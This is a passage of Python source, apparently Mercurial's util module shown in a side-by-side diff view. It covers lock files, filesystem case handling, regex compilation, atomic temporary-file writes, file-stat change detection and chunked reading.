1727 return os.symlink(info, pathname)
1728 except OSError as why:
1728 except OSError as why:
1729 if why.errno == errno.EEXIST:
1729 if why.errno == errno.EEXIST:
1730 raise
1730 raise
1731 except AttributeError: # no symlink in os
1731 except AttributeError: # no symlink in os
1732 pass
1732 pass
1733
1733
1734 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1734 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1735 ld = os.open(pathname, flags)
1735 ld = os.open(pathname, flags)
1736 os.write(ld, info)
1736 os.write(ld, info)
1737 os.close(ld)
1737 os.close(ld)
1738
1738
1739 def readlock(pathname):
1739 def readlock(pathname):
1740 try:
1740 try:
1741 return os.readlink(pathname)
1741 return os.readlink(pathname)
1742 except OSError as why:
1742 except OSError as why:
1743 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1743 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1744 raise
1744 raise
1745 except AttributeError: # no symlink in os
1745 except AttributeError: # no symlink in os
1746 pass
1746 pass
1747 fp = posixfile(pathname, 'rb')
1747 fp = posixfile(pathname, 'rb')
1748 r = fp.read()
1748 r = fp.read()
1749 fp.close()
1749 fp.close()
1750 return r
1750 return r
1751
1751
1752 def fstat(fp):
1752 def fstat(fp):
1753 '''stat file object that may not have fileno method.'''
1753 '''stat file object that may not have fileno method.'''
1754 try:
1754 try:
1755 return os.fstat(fp.fileno())
1755 return os.fstat(fp.fileno())
1756 except AttributeError:
1756 except AttributeError:
1757 return os.stat(fp.name)
1757 return os.stat(fp.name)
1758
1758
1759 # File system features
1759 # File system features
1760
1760
1761 def fscasesensitive(path):
1761 def fscasesensitive(path):
1762 """
1762 """
1763 Return true if the given path is on a case-sensitive filesystem
1763 Return true if the given path is on a case-sensitive filesystem
1764
1764
1765 Requires a path (like /foo/.hg) ending with a foldable final
1765 Requires a path (like /foo/.hg) ending with a foldable final
1766 directory component.
1766 directory component.
1767 """
1767 """
1768 s1 = os.lstat(path)
1768 s1 = os.lstat(path)
1769 d, b = os.path.split(path)
1769 d, b = os.path.split(path)
1770 b2 = b.upper()
1770 b2 = b.upper()
1771 if b == b2:
1771 if b == b2:
1772 b2 = b.lower()
1772 b2 = b.lower()
1773 if b == b2:
1773 if b == b2:
1774 return True # no evidence against case sensitivity
1774 return True # no evidence against case sensitivity
1775 p2 = os.path.join(d, b2)
1775 p2 = os.path.join(d, b2)
1776 try:
1776 try:
1777 s2 = os.lstat(p2)
1777 s2 = os.lstat(p2)
1778 if s2 == s1:
1778 if s2 == s1:
1779 return False
1779 return False
1780 return True
1780 return True
1781 except OSError:
1781 except OSError:
1782 return True
1782 return True
1783
1783
1784 try:
1784 try:
1785 import re2
1785 import re2
1786 _re2 = None
1786 _re2 = None
1787 except ImportError:
1787 except ImportError:
1788 _re2 = False
1788 _re2 = False
1789
1789
1790 class _re(object):
1790 class _re(object):
1791 def _checkre2(self):
1791 def _checkre2(self):
1792 global _re2
1792 global _re2
1793 try:
1793 try:
1794 # check if match works, see issue3964
1794 # check if match works, see issue3964
1795 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1795 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1796 except ImportError:
1796 except ImportError:
1797 _re2 = False
1797 _re2 = False
1798
1798
1799 def compile(self, pat, flags=0):
1799 def compile(self, pat, flags=0):
1800 '''Compile a regular expression, using re2 if possible
1800 '''Compile a regular expression, using re2 if possible
1801
1801
1802 For best performance, use only re2-compatible regexp features. The
1802 For best performance, use only re2-compatible regexp features. The
1803 only flags from the re module that are re2-compatible are
1803 only flags from the re module that are re2-compatible are
1804 IGNORECASE and MULTILINE.'''
1804 IGNORECASE and MULTILINE.'''
1805 if _re2 is None:
1805 if _re2 is None:
1806 self._checkre2()
1806 self._checkre2()
1807 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1807 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1808 if flags & remod.IGNORECASE:
1808 if flags & remod.IGNORECASE:
1809 pat = '(?i)' + pat
1809 pat = '(?i)' + pat
1810 if flags & remod.MULTILINE:
1810 if flags & remod.MULTILINE:
1811 pat = '(?m)' + pat
1811 pat = '(?m)' + pat
1812 try:
1812 try:
1813 return re2.compile(pat)
1813 return re2.compile(pat)
1814 except re2.error:
1814 except re2.error:
1815 pass
1815 pass
1816 return remod.compile(pat, flags)
1816 return remod.compile(pat, flags)
1817
1817
1818 @propertycache
1818 @propertycache
1819 def escape(self):
1819 def escape(self):
1820 '''Return the version of escape corresponding to self.compile.
1820 '''Return the version of escape corresponding to self.compile.
1821
1821
1822 This is imperfect because whether re2 or re is used for a particular
1822 This is imperfect because whether re2 or re is used for a particular
1823 function depends on the flags, etc, but it's the best we can do.
1823 function depends on the flags, etc, but it's the best we can do.
1824 '''
1824 '''
1825 global _re2
1825 global _re2
1826 if _re2 is None:
1826 if _re2 is None:
1827 self._checkre2()
1827 self._checkre2()
1828 if _re2:
1828 if _re2:
1829 return re2.escape
1829 return re2.escape
1830 else:
1830 else:
1831 return remod.escape
1831 return remod.escape
1832
1832
1833 re = _re()
1833 re = _re()
1834
1834
1835 _fspathcache = {}
1835 _fspathcache = {}
1836 def fspath(name, root):
1836 def fspath(name, root):
1837 '''Get name in the case stored in the filesystem
1837 '''Get name in the case stored in the filesystem
1838
1838
1839 The name should be relative to root, and be normcase-ed for efficiency.
1839 The name should be relative to root, and be normcase-ed for efficiency.
1840
1840
1841 Note that this function is unnecessary, and should not be
1841 Note that this function is unnecessary, and should not be
1842 called, for case-sensitive filesystems (simply because it's expensive).
1842 called, for case-sensitive filesystems (simply because it's expensive).
1843
1843
1844 The root should be normcase-ed, too.
1844 The root should be normcase-ed, too.
1845 '''
1845 '''
1846 def _makefspathcacheentry(dir):
1846 def _makefspathcacheentry(dir):
1847 return dict((normcase(n), n) for n in os.listdir(dir))
1847 return dict((normcase(n), n) for n in os.listdir(dir))
1848
1848
1849 seps = pycompat.ossep
1849 seps = pycompat.ossep
1850 if pycompat.osaltsep:
1850 if pycompat.osaltsep:
1851 seps = seps + pycompat.osaltsep
1851 seps = seps + pycompat.osaltsep
1852 # Protect backslashes. This gets silly very quickly.
1852 # Protect backslashes. This gets silly very quickly.
1853 seps.replace('\\','\\\\')
1853 seps.replace('\\','\\\\')
1854 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1854 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1855 dir = os.path.normpath(root)
1855 dir = os.path.normpath(root)
1856 result = []
1856 result = []
1857 for part, sep in pattern.findall(name):
1857 for part, sep in pattern.findall(name):
1858 if sep:
1858 if sep:
1859 result.append(sep)
1859 result.append(sep)
1860 continue
1860 continue
1861
1861
1862 if dir not in _fspathcache:
1862 if dir not in _fspathcache:
1863 _fspathcache[dir] = _makefspathcacheentry(dir)
1863 _fspathcache[dir] = _makefspathcacheentry(dir)
1864 contents = _fspathcache[dir]
1864 contents = _fspathcache[dir]
1865
1865
1866 found = contents.get(part)
1866 found = contents.get(part)
1867 if not found:
1867 if not found:
1868 # retry "once per directory" per "dirstate.walk" which
1868 # retry "once per directory" per "dirstate.walk" which
1869 # may take place for each patches of "hg qpush", for example
1869 # may take place for each patches of "hg qpush", for example
1870 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1870 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1871 found = contents.get(part)
1871 found = contents.get(part)
1872
1872
1873 result.append(found or part)
1873 result.append(found or part)
1874 dir = os.path.join(dir, part)
1874 dir = os.path.join(dir, part)
1875
1875
1876 return ''.join(result)
1876 return ''.join(result)
1877
1877
1878 def checknlink(testfile):
1878 def checknlink(testfile):
1879 '''check whether hardlink count reporting works properly'''
1879 '''check whether hardlink count reporting works properly'''
1880
1880
1881 # testfile may be open, so we need a separate file for checking to
1881 # testfile may be open, so we need a separate file for checking to
1882 # work around issue2543 (or testfile may get lost on Samba shares)
1882 # work around issue2543 (or testfile may get lost on Samba shares)
1883 f1, f2, fp = None, None, None
1883 f1, f2, fp = None, None, None
1884 try:
1884 try:
1885 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1885 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1886 suffix='1~', dir=os.path.dirname(testfile))
1886 suffix='1~', dir=os.path.dirname(testfile))
1887 os.close(fd)
1887 os.close(fd)
1888 f2 = '%s2~' % f1[:-2]
1888 f2 = '%s2~' % f1[:-2]
1889
1889
1890 oslink(f1, f2)
1890 oslink(f1, f2)
1891 # nlinks() may behave differently for files on Windows shares if
1891 # nlinks() may behave differently for files on Windows shares if
1892 # the file is open.
1892 # the file is open.
1893 fp = posixfile(f2)
1893 fp = posixfile(f2)
1894 return nlinks(f2) > 1
1894 return nlinks(f2) > 1
1895 except OSError:
1895 except OSError:
1896 return False
1896 return False
1897 finally:
1897 finally:
1898 if fp is not None:
1898 if fp is not None:
1899 fp.close()
1899 fp.close()
1900 for f in (f1, f2):
1900 for f in (f1, f2):
1901 try:
1901 try:
1902 if f is not None:
1902 if f is not None:
1903 os.unlink(f)
1903 os.unlink(f)
1904 except OSError:
1904 except OSError:
1905 pass
1905 pass
1906
1906
1907 def endswithsep(path):
1907 def endswithsep(path):
1908 '''Check path ends with os.sep or os.altsep.'''
1908 '''Check path ends with os.sep or os.altsep.'''
1909 return (path.endswith(pycompat.ossep)
1909 return (path.endswith(pycompat.ossep)
1910 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1910 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1911
1911
1912 def splitpath(path):
1912 def splitpath(path):
1913 '''Split path by os.sep.
1913 '''Split path by os.sep.
1914 Note that this function does not use os.altsep because this is
1914 Note that this function does not use os.altsep because this is
1915 an alternative of simple "xxx.split(os.sep)".
1915 an alternative of simple "xxx.split(os.sep)".
1916 It is recommended to use os.path.normpath() before using this
1916 It is recommended to use os.path.normpath() before using this
1917 function if need.'''
1917 function if need.'''
1918 return path.split(pycompat.ossep)
1918 return path.split(pycompat.ossep)
1919
1919
1920 def mktempcopy(name, emptyok=False, createmode=None):
1920 def mktempcopy(name, emptyok=False, createmode=None):
1921 """Create a temporary file with the same contents from name
1921 """Create a temporary file with the same contents from name
1922
1922
1923 The permission bits are copied from the original file.
1923 The permission bits are copied from the original file.
1924
1924
1925 If the temporary file is going to be truncated immediately, you
1925 If the temporary file is going to be truncated immediately, you
1926 can use emptyok=True as an optimization.
1926 can use emptyok=True as an optimization.
1927
1927
1928 Returns the name of the temporary file.
1928 Returns the name of the temporary file.
1929 """
1929 """
1930 d, fn = os.path.split(name)
1930 d, fn = os.path.split(name)
1931 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1931 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1932 os.close(fd)
1932 os.close(fd)
1933 # Temporary files are created with mode 0600, which is usually not
1933 # Temporary files are created with mode 0600, which is usually not
1934 # what we want. If the original file already exists, just copy
1934 # what we want. If the original file already exists, just copy
1935 # its mode. Otherwise, manually obey umask.
1935 # its mode. Otherwise, manually obey umask.
1936 copymode(name, temp, createmode)
1936 copymode(name, temp, createmode)
1937 if emptyok:
1937 if emptyok:
1938 return temp
1938 return temp
1939 try:
1939 try:
1940 try:
1940 try:
1941 ifp = posixfile(name, "rb")
1941 ifp = posixfile(name, "rb")
1942 except IOError as inst:
1942 except IOError as inst:
1943 if inst.errno == errno.ENOENT:
1943 if inst.errno == errno.ENOENT:
1944 return temp
1944 return temp
1945 if not getattr(inst, 'filename', None):
1945 if not getattr(inst, 'filename', None):
1946 inst.filename = name
1946 inst.filename = name
1947 raise
1947 raise
1948 ofp = posixfile(temp, "wb")
1948 ofp = posixfile(temp, "wb")
1949 for chunk in filechunkiter(ifp):
1949 for chunk in filechunkiter(ifp):
1950 ofp.write(chunk)
1950 ofp.write(chunk)
1951 ifp.close()
1951 ifp.close()
1952 ofp.close()
1952 ofp.close()
1953 except: # re-raises
1953 except: # re-raises
1954 try:
1954 try:
1955 os.unlink(temp)
1955 os.unlink(temp)
1956 except OSError:
1956 except OSError:
1957 pass
1957 pass
1958 raise
1958 raise
1959 return temp
1959 return temp
1960
1960
1961 class filestat(object):
1961 class filestat(object):
1962 """help to exactly detect change of a file
1962 """help to exactly detect change of a file
1963
1963
1964 'stat' attribute is result of 'os.stat()' if specified 'path'
1964 'stat' attribute is result of 'os.stat()' if specified 'path'
1965 exists. Otherwise, it is None. This can avoid preparative
1965 exists. Otherwise, it is None. This can avoid preparative
1966 'exists()' examination on client side of this class.
1966 'exists()' examination on client side of this class.
1967 """
1967 """
1968 def __init__(self, stat):
1968 def __init__(self, stat):
1969 self.stat = stat
1969 self.stat = stat
1970
1970
1971 @classmethod
1971 @classmethod
1972 def frompath(cls, path):
1972 def frompath(cls, path):
1973 try:
1973 try:
1974 stat = os.stat(path)
1974 stat = os.stat(path)
1975 except OSError as err:
1975 except OSError as err:
1976 if err.errno != errno.ENOENT:
1976 if err.errno != errno.ENOENT:
1977 raise
1977 raise
1978 stat = None
1978 stat = None
1979 return cls(stat)
1979 return cls(stat)
1980
1980
1981 @classmethod
1981 @classmethod
1982 def fromfp(cls, fp):
1982 def fromfp(cls, fp):
1983 stat = os.fstat(fp.fileno())
1983 stat = os.fstat(fp.fileno())
1984 return cls(stat)
1984 return cls(stat)
1985
1985
1986 __hash__ = object.__hash__
1986 __hash__ = object.__hash__
1987
1987
1988 def __eq__(self, old):
1988 def __eq__(self, old):
1989 try:
1989 try:
1990 # if ambiguity between stat of new and old file is
1990 # if ambiguity between stat of new and old file is
1991 # avoided, comparison of size, ctime and mtime is enough
1991 # avoided, comparison of size, ctime and mtime is enough
1992 # to exactly detect change of a file regardless of platform
1992 # to exactly detect change of a file regardless of platform
1993 return (self.stat.st_size == old.stat.st_size and
1993 return (self.stat.st_size == old.stat.st_size and
1994 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1994 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1995 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1995 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1996 except AttributeError:
1996 except AttributeError:
1997 pass
1997 pass
1998 try:
1998 try:
1999 return self.stat is None and old.stat is None
1999 return self.stat is None and old.stat is None
2000 except AttributeError:
2000 except AttributeError:
2001 return False
2001 return False
2002
2002
2003 def isambig(self, old):
2003 def isambig(self, old):
2004 """Examine whether new (= self) stat is ambiguous against old one
2004 """Examine whether new (= self) stat is ambiguous against old one
2005
2005
2006 "S[N]" below means stat of a file at N-th change:
2006 "S[N]" below means stat of a file at N-th change:
2007
2007
2008 - S[n-1].ctime < S[n].ctime: can detect change of a file
2008 - S[n-1].ctime < S[n].ctime: can detect change of a file
2009 - S[n-1].ctime == S[n].ctime
2009 - S[n-1].ctime == S[n].ctime
2010 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2010 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2011 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2011 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2012 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2012 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2013 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2013 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2014
2014
2015 Case (*2) above means that a file was changed twice or more at
2015 Case (*2) above means that a file was changed twice or more at
2016 same time in sec (= S[n-1].ctime), and comparison of timestamp
2016 same time in sec (= S[n-1].ctime), and comparison of timestamp
2017 is ambiguous.
2017 is ambiguous.
2018
2018
2019 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2019 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2020 timestamp is ambiguous".
2020 timestamp is ambiguous".
2021
2021
2022 But advancing mtime only in case (*2) doesn't work as
2022 But advancing mtime only in case (*2) doesn't work as
2023 expected, because naturally advanced S[n].mtime in case (*1)
2023 expected, because naturally advanced S[n].mtime in case (*1)
2024 might be equal to manually advanced S[n-1 or earlier].mtime.
2024 might be equal to manually advanced S[n-1 or earlier].mtime.
2025
2025
2026 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2026 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2027 treated as ambiguous regardless of mtime, to avoid overlooking
2027 treated as ambiguous regardless of mtime, to avoid overlooking
2028 by confliction between such mtime.
2028 by confliction between such mtime.
2029
2029
2030 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2030 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2031 S[n].mtime", even if size of a file isn't changed.
2031 S[n].mtime", even if size of a file isn't changed.
2032 """
2032 """
2033 try:
2033 try:
2034 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2034 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2035 except AttributeError:
2035 except AttributeError:
2036 return False
2036 return False
2037
2037
2038 def avoidambig(self, path, old):
2038 def avoidambig(self, path, old):
2039 """Change file stat of specified path to avoid ambiguity
2039 """Change file stat of specified path to avoid ambiguity
2040
2040
2041 'old' should be previous filestat of 'path'.
2041 'old' should be previous filestat of 'path'.
2042
2042
2043 This skips avoiding ambiguity, if a process doesn't have
2043 This skips avoiding ambiguity, if a process doesn't have
2044 appropriate privileges for 'path'. This returns False in this
2044 appropriate privileges for 'path'. This returns False in this
2045 case.
2045 case.
2046
2046
2047 Otherwise, this returns True, as "ambiguity is avoided".
2047 Otherwise, this returns True, as "ambiguity is avoided".
2048 """
2048 """
2049 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2049 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2050 try:
2050 try:
2051 os.utime(path, (advanced, advanced))
2051 os.utime(path, (advanced, advanced))
2052 except OSError as inst:
2052 except OSError as inst:
2053 if inst.errno == errno.EPERM:
2053 if inst.errno == errno.EPERM:
2054 # utime() on the file created by another user causes EPERM,
2054 # utime() on the file created by another user causes EPERM,
2055 # if a process doesn't have appropriate privileges
2055 # if a process doesn't have appropriate privileges
2056 return False
2056 return False
2057 raise
2057 raise
2058 return True
2058 return True
2059
2059
2060 def __ne__(self, other):
2060 def __ne__(self, other):
2061 return not self == other
2061 return not self == other
2062
2062
2063 class atomictempfile(object):
2063 class atomictempfile(object):
2064 '''writable file object that atomically updates a file
2064 '''writable file object that atomically updates a file
2065
2065
2066 All writes will go to a temporary copy of the original file. Call
2066 All writes will go to a temporary copy of the original file. Call
2067 close() when you are done writing, and atomictempfile will rename
2067 close() when you are done writing, and atomictempfile will rename
2068 the temporary copy to the original name, making the changes
2068 the temporary copy to the original name, making the changes
2069 visible. If the object is destroyed without being closed, all your
2069 visible. If the object is destroyed without being closed, all your
2070 writes are discarded.
2070 writes are discarded.
2071
2071
2072 checkambig argument of constructor is used with filestat, and is
2072 checkambig argument of constructor is used with filestat, and is
2073 useful only if target file is guarded by any lock (e.g. repo.lock
2073 useful only if target file is guarded by any lock (e.g. repo.lock
2074 or repo.wlock).
2074 or repo.wlock).
2075 '''
2075 '''
2076 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2076 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2077 self.__name = name # permanent name
2077 self.__name = name # permanent name
2078 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2078 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2079 createmode=createmode)
2079 createmode=createmode)
2080 self._fp = posixfile(self._tempname, mode)
2080 self._fp = posixfile(self._tempname, mode)
2081 self._checkambig = checkambig
2081 self._checkambig = checkambig
2082
2082
2083 # delegated methods
2083 # delegated methods
2084 self.read = self._fp.read
2084 self.read = self._fp.read
2085 self.write = self._fp.write
2085 self.write = self._fp.write
2086 self.seek = self._fp.seek
2086 self.seek = self._fp.seek
2087 self.tell = self._fp.tell
2087 self.tell = self._fp.tell
2088 self.fileno = self._fp.fileno
2088 self.fileno = self._fp.fileno
2089
2089
2090 def close(self):
2090 def close(self):
2091 if not self._fp.closed:
2091 if not self._fp.closed:
2092 self._fp.close()
2092 self._fp.close()
2093 filename = localpath(self.__name)
2093 filename = localpath(self.__name)
2094 oldstat = self._checkambig and filestat.frompath(filename)
2094 oldstat = self._checkambig and filestat.frompath(filename)
2095 if oldstat and oldstat.stat:
2095 if oldstat and oldstat.stat:
2096 rename(self._tempname, filename)
2096 rename(self._tempname, filename)
2097 newstat = filestat.frompath(filename)
2097 newstat = filestat.frompath(filename)
2098 if newstat.isambig(oldstat):
2098 if newstat.isambig(oldstat):
2099 # stat of changed file is ambiguous to original one
2099 # stat of changed file is ambiguous to original one
2100 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2100 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2101 os.utime(filename, (advanced, advanced))
2101 os.utime(filename, (advanced, advanced))
2102 else:
2102 else:
2103 rename(self._tempname, filename)
2103 rename(self._tempname, filename)
2104
2104
2105 def discard(self):
2105 def discard(self):
2106 if not self._fp.closed:
2106 if not self._fp.closed:
2107 try:
2107 try:
2108 os.unlink(self._tempname)
2108 os.unlink(self._tempname)
2109 except OSError:
2109 except OSError:
2110 pass
2110 pass
2111 self._fp.close()
2111 self._fp.close()
2112
2112
2113 def __del__(self):
2113 def __del__(self):
2114 if safehasattr(self, '_fp'): # constructor actually did something
2114 if safehasattr(self, '_fp'): # constructor actually did something
2115 self.discard()
2115 self.discard()
2116
2116
2117 def __enter__(self):
2117 def __enter__(self):
2118 return self
2118 return self
2119
2119
2120 def __exit__(self, exctype, excvalue, traceback):
2120 def __exit__(self, exctype, excvalue, traceback):
2121 if exctype is not None:
2121 if exctype is not None:
2122 self.discard()
2122 self.discard()
2123 else:
2123 else:
2124 self.close()
2124 self.close()
2125
2125
2126 def unlinkpath(f, ignoremissing=False, rmdir=True):
2126 def unlinkpath(f, ignoremissing=False, rmdir=True):
2127 """unlink and remove the directory if it is empty"""
2127 """unlink and remove the directory if it is empty"""
2128 if ignoremissing:
2128 if ignoremissing:
2129 tryunlink(f)
2129 tryunlink(f)
2130 else:
2130 else:
2131 unlink(f)
2131 unlink(f)
2132 if rmdir:
2132 if rmdir:
2133 # try removing directories that might now be empty
2133 # try removing directories that might now be empty
2134 try:
2134 try:
2135 removedirs(os.path.dirname(f))
2135 removedirs(os.path.dirname(f))
2136 except OSError:
2136 except OSError:
2137 pass
2137 pass
2138
2138
2139 def tryunlink(f):
2139 def tryunlink(f):
2140 """Attempt to remove a file, ignoring ENOENT errors."""
2140 """Attempt to remove a file, ignoring ENOENT errors."""
2141 try:
2141 try:
2142 unlink(f)
2142 unlink(f)
2143 except OSError as e:
2143 except OSError as e:
2144 if e.errno != errno.ENOENT:
2144 if e.errno != errno.ENOENT:
2145 raise
2145 raise
2146
2146
2147 def makedirs(name, mode=None, notindexed=False):
2147 def makedirs(name, mode=None, notindexed=False):
2148 """recursive directory creation with parent mode inheritance
2148 """recursive directory creation with parent mode inheritance
2149
2149
2150 Newly created directories are marked as "not to be indexed by
2150 Newly created directories are marked as "not to be indexed by
2151 the content indexing service", if ``notindexed`` is specified
2151 the content indexing service", if ``notindexed`` is specified
2152 for "write" mode access.
2152 for "write" mode access.
2153 """
2153 """
2154 try:
2154 try:
2155 makedir(name, notindexed)
2155 makedir(name, notindexed)
2156 except OSError as err:
2156 except OSError as err:
2157 if err.errno == errno.EEXIST:
2157 if err.errno == errno.EEXIST:
2158 return
2158 return
2159 if err.errno != errno.ENOENT or not name:
2159 if err.errno != errno.ENOENT or not name:
2160 raise
2160 raise
2161 parent = os.path.dirname(os.path.abspath(name))
2161 parent = os.path.dirname(os.path.abspath(name))
2162 if parent == name:
2162 if parent == name:
2163 raise
2163 raise
2164 makedirs(parent, mode, notindexed)
2164 makedirs(parent, mode, notindexed)
2165 try:
2165 try:
2166 makedir(name, notindexed)
2166 makedir(name, notindexed)
2167 except OSError as err:
2167 except OSError as err:
2168 # Catch EEXIST to handle races
2168 # Catch EEXIST to handle races
2169 if err.errno == errno.EEXIST:
2169 if err.errno == errno.EEXIST:
2170 return
2170 return
2171 raise
2171 raise
2172 if mode is not None:
2172 if mode is not None:
2173 os.chmod(name, mode)
2173 os.chmod(name, mode)
2174
2174
2175 def readfile(path):
2175 def readfile(path):
2176 with open(path, 'rb') as fp:
2176 with open(path, 'rb') as fp:
2177 return fp.read()
2177 return fp.read()
2178
2178
2179 def writefile(path, text):
2179 def writefile(path, text):
2180 with open(path, 'wb') as fp:
2180 with open(path, 'wb') as fp:
2181 fp.write(text)
2181 fp.write(text)
2182
2182
2183 def appendfile(path, text):
2183 def appendfile(path, text):
2184 with open(path, 'ab') as fp:
2184 with open(path, 'ab') as fp:
2185 fp.write(text)
2185 fp.write(text)
2186
2186
2187 class chunkbuffer(object):
2187 class chunkbuffer(object):
2188 """Allow arbitrary sized chunks of data to be efficiently read from an
2188 """Allow arbitrary sized chunks of data to be efficiently read from an
2189 iterator over chunks of arbitrary size."""
2189 iterator over chunks of arbitrary size."""
2190
2190
2191 def __init__(self, in_iter):
2191 def __init__(self, in_iter):
2192 """in_iter is the iterator that's iterating over the input chunks."""
2192 """in_iter is the iterator that's iterating over the input chunks."""
2193 def splitbig(chunks):
2193 def splitbig(chunks):
2194 for chunk in chunks:
2194 for chunk in chunks:
2195 if len(chunk) > 2**20:
2195 if len(chunk) > 2**20:
2196 pos = 0
2196 pos = 0
2197 while pos < len(chunk):
2197 while pos < len(chunk):
2198 end = pos + 2 ** 18
2198 end = pos + 2 ** 18
2199 yield chunk[pos:end]
2199 yield chunk[pos:end]
2200 pos = end
2200 pos = end
2201 else:
2201 else:
2202 yield chunk
2202 yield chunk
2203 self.iter = splitbig(in_iter)
2203 self.iter = splitbig(in_iter)
2204 self._queue = collections.deque()
2204 self._queue = collections.deque()
2205 self._chunkoffset = 0
2205 self._chunkoffset = 0
2206
2206
2207 def read(self, l=None):
2207 def read(self, l=None):
2208 """Read L bytes of data from the iterator of chunks of data.
2208 """Read L bytes of data from the iterator of chunks of data.
2209 Returns less than L bytes if the iterator runs dry.
2209 Returns less than L bytes if the iterator runs dry.
2210
2210
2211 If size parameter is omitted, read everything"""
2211 If size parameter is omitted, read everything"""
2212 if l is None:
2212 if l is None:
2213 return ''.join(self.iter)
2213 return ''.join(self.iter)
2214
2214
2215 left = l
2215 left = l
2216 buf = []
2216 buf = []
2217 queue = self._queue
2217 queue = self._queue
2218 while left > 0:
2218 while left > 0:
2219 # refill the queue
2219 # refill the queue
2220 if not queue:
2220 if not queue:
2221 target = 2**18
2221 target = 2**18
2222 for chunk in self.iter:
2222 for chunk in self.iter:
2223 queue.append(chunk)
2223 queue.append(chunk)
2224 target -= len(chunk)
2224 target -= len(chunk)
2225 if target <= 0:
2225 if target <= 0:
2226 break
2226 break
2227 if not queue:
2227 if not queue:
2228 break
2228 break
2229
2229
2230 # The easy way to do this would be to queue.popleft(), modify the
2230 # The easy way to do this would be to queue.popleft(), modify the
2231 # chunk (if necessary), then queue.appendleft(). However, for cases
2231 # chunk (if necessary), then queue.appendleft(). However, for cases
2232 # where we read partial chunk content, this incurs 2 dequeue
2232 # where we read partial chunk content, this incurs 2 dequeue
2233 # mutations and creates a new str for the remaining chunk in the
2233 # mutations and creates a new str for the remaining chunk in the
2234 # queue. Our code below avoids this overhead.
2234 # queue. Our code below avoids this overhead.
2235
2235
2236 chunk = queue[0]
2236 chunk = queue[0]
2237 chunkl = len(chunk)
2237 chunkl = len(chunk)
2238 offset = self._chunkoffset
2238 offset = self._chunkoffset
2239
2239
2240 # Use full chunk.
2240 # Use full chunk.
2241 if offset == 0 and left >= chunkl:
2241 if offset == 0 and left >= chunkl:
2242 left -= chunkl
2242 left -= chunkl
2243 queue.popleft()
2243 queue.popleft()
2244 buf.append(chunk)
2244 buf.append(chunk)
2245 # self._chunkoffset remains at 0.
2245 # self._chunkoffset remains at 0.
2246 continue
2246 continue
2247
2247
2248 chunkremaining = chunkl - offset
2248 chunkremaining = chunkl - offset
2249
2249
2250 # Use all of unconsumed part of chunk.
2250 # Use all of unconsumed part of chunk.
2251 if left >= chunkremaining:
2251 if left >= chunkremaining:
2252 left -= chunkremaining
2252 left -= chunkremaining
2253 queue.popleft()
2253 queue.popleft()
2254 # offset == 0 is enabled by block above, so this won't merely
2254 # offset == 0 is enabled by block above, so this won't merely
2255 # copy via ``chunk[0:]``.
2255 # copy via ``chunk[0:]``.
2256 buf.append(chunk[offset:])
2256 buf.append(chunk[offset:])
2257 self._chunkoffset = 0
2257 self._chunkoffset = 0
2258
2258
2259 # Partial chunk needed.
2259 # Partial chunk needed.
2260 else:
2260 else:
2261 buf.append(chunk[offset:offset + left])
2261 buf.append(chunk[offset:offset + left])
2262 self._chunkoffset += left
2262 self._chunkoffset += left
2263 left -= chunkremaining
2263 left -= chunkremaining
2264
2264
2265 return ''.join(buf)
2265 return ''.join(buf)
2266
2266
2267 def filechunkiter(f, size=131072, limit=None):
2267 def filechunkiter(f, size=131072, limit=None):
2268 """Create a generator that produces the data in the file size
2268 """Create a generator that produces the data in the file size
2269 (default 131072) bytes at a time, up to optional limit (default is
2269 (default 131072) bytes at a time, up to optional limit (default is
2270 to read all data). Chunks may be less than size bytes if the
2270 to read all data). Chunks may be less than size bytes if the
2271 chunk is the last chunk in the file, or the file is a socket or
